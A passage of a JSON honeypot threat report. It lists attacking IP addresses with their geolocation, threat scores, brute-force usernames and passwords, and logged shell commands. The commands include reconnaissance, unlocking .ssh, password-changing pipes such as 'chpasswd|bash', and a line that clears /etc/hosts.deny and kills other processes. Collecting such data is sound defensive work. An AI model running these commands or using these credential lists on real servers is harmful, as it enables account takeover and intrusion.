        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Wangsu@2017\\nvZL1ml3E3SEl\\nvZL1ml3E3SEl\\n\"|passwd",
        "echo \"harshit\\nUi9GVivvveVK\\nUi9GVivvveVK\\n\"|passwd",
        "echo \"root\\nyh3JC6yFJYX6\\nyh3JC6yFJYX6\\n\"|passwd",
        "echo -e \"Wangsu@2017\\nvZL1ml3E3SEl\\nvZL1ml3E3SEl\"|passwd|bash",
        "echo -e \"harshit\\nUi9GVivvveVK\\nUi9GVivvveVK\"|passwd|bash",
        "echo -e \"root\\nyh3JC6yFJYX6\\nyh3JC6yFJYX6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:09:20.602000+00:00",
        "last_seen_30d": "2026-05-25T08:09:39.101000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 302,
        "Suricata": 60
      }
    },
    "189.165.24.20": {
      "attack_count": 288,
      "first_seen": "2026-05-05T19:27:11.919Z",
      "last_seen": "2026-05-05T20:00:29.358Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "user",
        "root",
        "345gs5662d34",
        "mysql",
        "tempuser",
        "testing",
        "aamir",
        "administrator",
        "apiadmin",
        "deploy",
        "git",
        "labuser1",
        "odoo",
        "test",
        "tester"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#admin123",
        "0123456789",
        "12345",
        "12345678",
        "123qwe!@#",
        "1qaz@WSX",
        "2welcome",
        "31415926",
        "3735566",
        "654321",
        "aamir",
        "abc123",
        "admin2020",
        "apiadmin",
        "asdf1234",
        "github",
        "labuser1",
        "mi1lsug1m3r3utat"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"3735566\\nAjnR0h5zBj50\\nAjnR0h5zBj50\\n\"|passwd",
        "echo \"tempuser\\nbMZyjCWvSN0n\\nbMZyjCWvSN0n\\n\"|passwd",
        "echo -e \"3735566\\nAjnR0h5zBj50\\nAjnR0h5zBj50\"|passwd|bash",
        "echo -e \"tempuser\\nbMZyjCWvSN0n\\nbMZyjCWvSN0n\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:27:11.919000+00:00",
        "last_seen_30d": "2026-05-05T20:01:38.454000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "177.85.75.116": {
      "attack_count": 254,
      "first_seen": "2026-05-19T06:45:33.700Z",
      "last_seen": "2026-05-19T18:00:39.020Z",
      "sessions": 127,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Canarana",
      "asn": 52739,
      "as_org": "PROVEDOR INTERSOUSA LTDA",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 383,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:45:33.700000+00:00",
        "last_seen_30d": "2026-05-19T18:01:47.056000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 129
      }
    },
    "43.156.34.165": {
      "attack_count": 236,
      "first_seen": "2026-05-18T17:08:50.212Z",
      "last_seen": "2026-05-18T17:37:37.273Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!a@b",
        "0727527122",
        "K0nig@1",
        "a12345678@",
        "abc123.",
        "adt123",
        "c0ff33",
        "castis",
        "chang3m3",
        "gladstone",
        "ichbins",
        "jane123",
        "marmitta",
        "monalisa",
        "p@ssword123",
        "qaz123wsx",
        "spotlight",
        "super123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5A0Sk9egrf8i\"|chpasswd|bash",
        "echo \"root:n7GvR9Hq8Cxc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:08:50.212000+00:00",
        "last_seen_30d": "2026-05-18T17:38:41.186000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "92.175.80.209": {
      "attack_count": 236,
      "first_seen": "2026-05-18T08:46:41.085Z",
      "last_seen": "2026-05-18T09:13:33.565Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123root",
        "1qaz2wsx3edc4rfv",
        "2004",
        "India@2022",
        "Welcome2015",
        "aaa111",
        "abcd-1234",
        "asdfgh01",
        "auser",
        "cloudadmin",
        "coding",
        "gustave",
        "hamish123",
        "percy",
        "puppet",
        "qd8899xyz",
        "sharon",
        "tdc0wnZ1324"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Nk1vMWns4XSo\"|chpasswd|bash",
        "echo \"root:d2wFSB7ZSNGG\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Moissac",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:46:41.085000+00:00",
        "last_seen_30d": "2026-05-18T09:14:34.222000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "5.161.132.41": {
      "attack_count": 233,
      "first_seen": "2026-05-25T07:01:26.472Z",
      "last_seen": "2026-05-25T08:05:19.223Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "odoo17",
        "ubuntu",
        "admin",
        "curl",
        "jack",
        "james",
        "test1",
        "www"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "....",
        "0",
        "123456",
        "123456A!",
        "12345qwert",
        "1qaz@wsx",
        "Huawei@2021",
        "Lxj123456",
        "Mm123456",
        "P@ssw0rd",
        "Pass_123",
        "Wangsu@2017",
        "abc123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "james",
        "superman",
        "test1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"P@ssw0rd\\nH56ruHjeQSlT\\nH56ruHjeQSlT\\n\"|passwd",
        "echo \"Wangsu@2017\\n5O0287RcWRsf\\n5O0287RcWRsf\\n\"|passwd",
        "echo -e \"P@ssw0rd\\nH56ruHjeQSlT\\nH56ruHjeQSlT\"|passwd|bash",
        "echo -e \"Wangsu@2017\\n5O0287RcWRsf\\n5O0287RcWRsf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 213230,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:01:26.472000+00:00",
        "last_seen_30d": "2026-05-25T08:06:29+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 233,
        "Suricata": 56
      }
    },
    "103.97.179.160": {
      "attack_count": 219,
      "first_seen": "2026-05-05T03:44:05.591Z",
      "last_seen": "2026-05-05T04:21:50.702Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "deploy",
        "postgres",
        "root",
        "user",
        "345gs5662d34",
        "admin",
        "csgoserver1",
        "debian",
        "mysql",
        "sshuser",
        "steam",
        "sysadmin",
        "test",
        "testftp",
        "testuser",
        "vbox",
        "webadmin"
      ],
      "passwords_attempted": [
        "010101",
        "12332!",
        "12345",
        "123456",
        "123qweasd",
        "3245gs5662d34",
        "3333",
        "345gs5662d34",
        "4444444444",
        "Ab123456@",
        "Huawei12#$",
        "Password01!",
        "a",
        "admin001",
        "adminasd",
        "csgoserver1",
        "ftptest",
        "ftpuser",
        "git",
        "karmag3dd0n3"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"web\\nPfoPWrimZQp1\\nPfoPWrimZQp1\\n\"|passwd",
        "echo -e \"web\\nPfoPWrimZQp1\\nPfoPWrimZQp1\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:44:05.591000+00:00",
        "last_seen_30d": "2026-05-05T04:22:59.691000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "49.247.37.22": {
      "attack_count": 208,
      "first_seen": "2026-05-24T07:59:16.280Z",
      "last_seen": "2026-05-24T18:06:47.305Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "antoine",
        "newuser",
        "nodejs",
        "sae",
        "sammy",
        "testftp",
        "titu",
        "tt",
        "x"
      ],
      "passwords_attempted": [
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "12345678",
        "159357qaz",
        "1q2w3e!Q@W#E",
        "1q2w3e$R",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@123",
        "Admin-12345",
        "Admin@12",
        "Admin@123456",
        "Berbidvps.ir",
        "Cloud12#$",
        "Cordun1988@",
        "Www123123",
        "adminadmin",
        "antoine",
        "asd123456",
        "nodejs123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KExXOU938S2U\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:59:16.280000+00:00",
        "last_seen_30d": "2026-05-24T18:07:56.630000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 208,
        "Suricata": 75
      }
    },
    "172.191.239.155": {
      "attack_count": 159,
      "first_seen": "2026-05-19T21:08:08.044Z",
      "last_seen": "2026-05-19T21:41:25.454Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1938",
        "718718",
        "Asdf1234",
        "ChangeMe",
        "admin1",
        "claude",
        "confound",
        "cyyang",
        "evergreen",
        "iJ93MnFj4VnWf0sA78gCx",
        "jerry",
        "o12nu27",
        "password1!",
        "qa123",
        "qwertyuiop123.",
        "sarah",
        "sbserver",
        "shawn123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:08:08.044000+00:00",
        "last_seen_30d": "2026-05-19T21:42:34.699000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 60
      }
    },
    "134.112.56.47": {
      "attack_count": 151,
      "first_seen": "2026-05-25T17:42:45.626Z",
      "last_seen": "2026-05-25T19:13:25.993Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "cloud",
        "mapr",
        "teste",
        "tuan",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Wangsu@2017",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "mapr",
        "root01",
        "secret",
        "tuan123",
        "userpass",
        "vps123",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"welltech12\\nemf9a5u7eRcw\\nemf9a5u7eRcw\\n\"|passwd",
        "echo -e \"welltech12\\nemf9a5u7eRcw\\nemf9a5u7eRcw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:42:45.626000+00:00",
        "last_seen_30d": "2026-05-25T19:14:27.006000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 151,
        "Suricata": 48
      }
    },
    "45.78.198.177": {
      "attack_count": 147,
      "first_seen": "2026-05-19T18:15:58.007Z",
      "last_seen": "2026-05-19T19:11:12.807Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "testftp",
        "345gs5662d34",
        "bkp",
        "claude",
        "gg",
        "postgres",
        "sftpuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "111...aaa",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "Claude2026!",
        "Kong@2022",
        "Password01",
        "Postgres123",
        "Rs123456",
        "Sachin@123",
        "admin",
        "bkp",
        "gg",
        "nas"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nT7LJnClnBIWb\\nT7LJnClnBIWb\\n\"|passwd",
        "echo -e \"123456\\nT7LJnClnBIWb\\nT7LJnClnBIWb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:15:58.007000+00:00",
        "last_seen_30d": "2026-05-19T19:12:18.043000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 147,
        "Suricata": 42
      }
    },
    "193.30.14.165": {
      "attack_count": 143,
      "first_seen": "2026-05-23T21:34:51.852Z",
      "last_seen": "2026-05-23T22:30:01.567Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alex",
        "deploy",
        "deployer",
        "dev1",
        "es",
        "frappe",
        "minecraft",
        "shashank",
        "smbuser",
        "steam",
        "student4",
        "tom"
      ],
      "passwords_attempted": [
        "123",
        "12",
        "12345",
        "123456",
        "123456789",
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "deployer!",
        "dev1",
        "kali",
        "mc123",
        "shashank@123",
        "steamsteam",
        "student4",
        "woaini123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cbnYO1MiW9zg\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Manta",
      "asn": 263238,
      "as_org": "Eliana Vanessa Morocho Ona",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:34:51.852000+00:00",
        "last_seen_30d": "2026-05-23T22:31:11.219000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "195.211.99.18": {
      "attack_count": 143,
      "first_seen": "2026-05-24T15:37:18.492Z",
      "last_seen": "2026-05-24T16:24:42.662Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ghost",
        "joao",
        "steamcmd",
        "wg"
      ],
      "passwords_attempted": [
        "10101010",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456!@",
        "Cg123456",
        "Lol12345",
        "Password@2021",
        "Rk123456@",
        "asd@123123",
        "ghost",
        "parola123",
        "passw0rd",
        "steam",
        "ubuntu@2026",
        "xx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:C2Wb1xWyIqJc\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
